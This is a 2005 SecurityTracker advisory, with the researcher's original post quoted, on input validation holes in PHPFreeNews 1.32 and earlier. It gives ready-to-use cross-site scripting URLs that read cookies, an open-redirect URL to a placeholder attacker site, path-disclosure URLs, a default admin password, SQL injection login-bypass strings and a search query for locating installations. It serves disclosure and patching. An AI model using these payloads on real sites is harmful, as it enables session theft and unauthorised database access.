PHPFreeNews Input Validation Holes Permit Cross-Site Scripting and SQL Injection Attacks
|
|
SecurityTracker Alert ID: 1014601 |
|
SecurityTracker URL: http://securitytracker.com/id/1014601
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Updated: Aug 2 2005
|
Original Entry Date: Aug 1 2005
|
Impact:
Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
|
Version(s): 1.32 and prior versions
|
Description:
rgod reported a vulnerability in PHPFreeNews. A remote user can conduct cross-site scripting attacks. A remote user can also inject SQL commands.
The software does not properly validate user-supplied input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the PHPFreeNews software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Some demonstration exploit URLs are provided:
http://[target]/[path]/inc/Footer.php?ScriptVersion=<script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?FullNewsDisplayMode=3&NewsDir=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?EnableRatings=1&NewsDir=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?EnableComments=1&NewsDir=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?FullNewsDisplayMode=3&PopupWidth=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?FullNewsDisplayMode=3&PopupHeight=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?EnableComments=1&PopupWidth=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?EnableComments=1&PopupHeight=")}//--></script><script>alert(document.cookie)</script>
A remote user can create that following URL that, when loaded by the target user, will cause the target user to be redirected to the attacker's site.
http://[target]/[path]/inc/Logout.php?AdminScript=http://[attacker]/[evil_script]
A remote user can load the following types of URLs to determine the installation path.
http://[target]/[path]/inc/ArchiveOldNews.php
http://[target]/[path]/inc/Categories.php
http://[target]/[path]/inc/CheckLogout.php
http://[target]/[path]/inc/CommentsApproval.php
http://[target]/[path]/inc/Images.php
http://[target]/[path]/inc/NewsList.php
http://[target]/[path]/inc/Password.php
http://[target]/[path]/inc/Post.php
http://[target]/[path]/inc/PostsApproval.php
http://[target]/[path]/inc/PurgeOldNews.php
http://[target]/[path]/inc/SetSticky.php
http://[target]/[path]/inc/SetVisible.php
http://[target]/[path]/inc/Statistics.php
http://[target]/[path]/inc/Template.php
http://[target]/[path]/inc/UserDefinedCodes.php
http://[target]/[path]/inc/Users.php
A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.
A demonstration exploit value for versions prior to 1.32 are provided:
login: Admin
password: ') or isnull(1/0) or ('a'='a
A demonstration exploit value for version 1.32 is provided:
login: whatever
pass: //') or isnull(1/0) /*
|
Impact:
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the PHPFreeNews software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A remote user can execute SQL commands on the underlying database.
A remote user can determine the installation path.
|
Solution:
The vendor has issued a fixed version (1.40).
|
Vendor URL: www.phpfreenews.co.uk/ (Links to External Site)
|
Cause:
Access control error, Input validation error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Fri, 29 Jul 2005 08:57:35 +0200 (ora legale Europa occidentale)
Subject: PHPFreeNews Version 1.32 news cross site scripting, path disclosure, information disclosure PHPFreenews previous versions MySQL injection / Login bypass
|
29/07/2005 8.36.03
PHPFreeNews Version 1.32 news cross site scripting, path disclosure, information disclosure
PHPFreenews previous versions MySQL injection / Login bypass
author site: http://www.phpfreenews.co.uk/Main_Intro.php
xss poc:
http://[target]/[path]/inc/Footer.php?ScriptVersion=<script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?FullNewsDisplayMode=3&NewsDir=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?EnableRatings=1&NewsDir=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?EnableComments=1&NewsDir=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?FullNewsDisplayMode=3&PopupWidth=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?FullNewsDisplayMode=3&PopupHeight=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?EnableComments=1&PopupWidth=")}//--></script><script>alert(document.cookie)</script>
http://[target]/[path]/inc/ScriptFunctions.php?EnableComments=1&PopupHeight=")}//--></script><script>alert(document.cookie)</script>
also a user can craft a url to redirect a victim to an evil site:
http://[target]/[path]/inc/Logout.php?AdminScript=http://[evil_site]/[evil_script]
path disclosure:
http://[target]/[path]/inc/ArchiveOldNews.php
http://[target]/[path]/inc/Categories.php
http://[target]/[path]/inc/CheckLogout.php
http://[target]/[path]/inc/CommentsApproval.php
http://[target]/[path]/inc/Images.php
http://[target]/[path]/inc/NewsList.php
http://[target]/[path]/inc/Password.php
http://[target]/[path]/inc/Post.php
http://[target]/[path]/inc/PostsApproval.php
http://[target]/[path]/inc/PurgeOldNews.php
http://[target]/[path]/inc/SetSticky.php
http://[target]/[path]/inc/SetVisible.php
http://[target]/[path]/inc/Statistics.php
http://[target]/[path]/inc/Template.php
http://[target]/[path]/inc/UserDefinedCodes.php
http://[target]/[path]/inc/Users.php
information disclosure:
googledork:
PHPFreeNews inurl:Admin.php
(with this, you can passively fingerprint the server, PHP & MySQL version are in Google description...
because this info are shownwed with non-chalance in admin.php page ;) )
default password:
login: Admin
pass: Admin
MySQL Injection / Login Bypass in previous versions:
login: Admin
password: ') or isnull(1/0) or ('a'='a
note: all string, not consider 'or'
in 1.32 version LoginUsername and LoginPassword vars are addslashed... but
I think an injection is not impossible:
/') or isnull(1/0) or ([some trick]
^ ^
| |_____________always true statement-------------
| |
in query we have -------- valid statement-------- |
| |
SELECT * FROM news_users WHERE Password = MD5('\\\') or isnull(1/0) or ([some trick]') AND Username = 'Admin'
rgod
email: retrogod at aliceposta.it
site: http://rgod.altervista.org
original advisory: http://rgod.altervista.org/phpfreenews.html
_____________________________________________________________________
FREE Emoticons for your email! Click Here!
|
|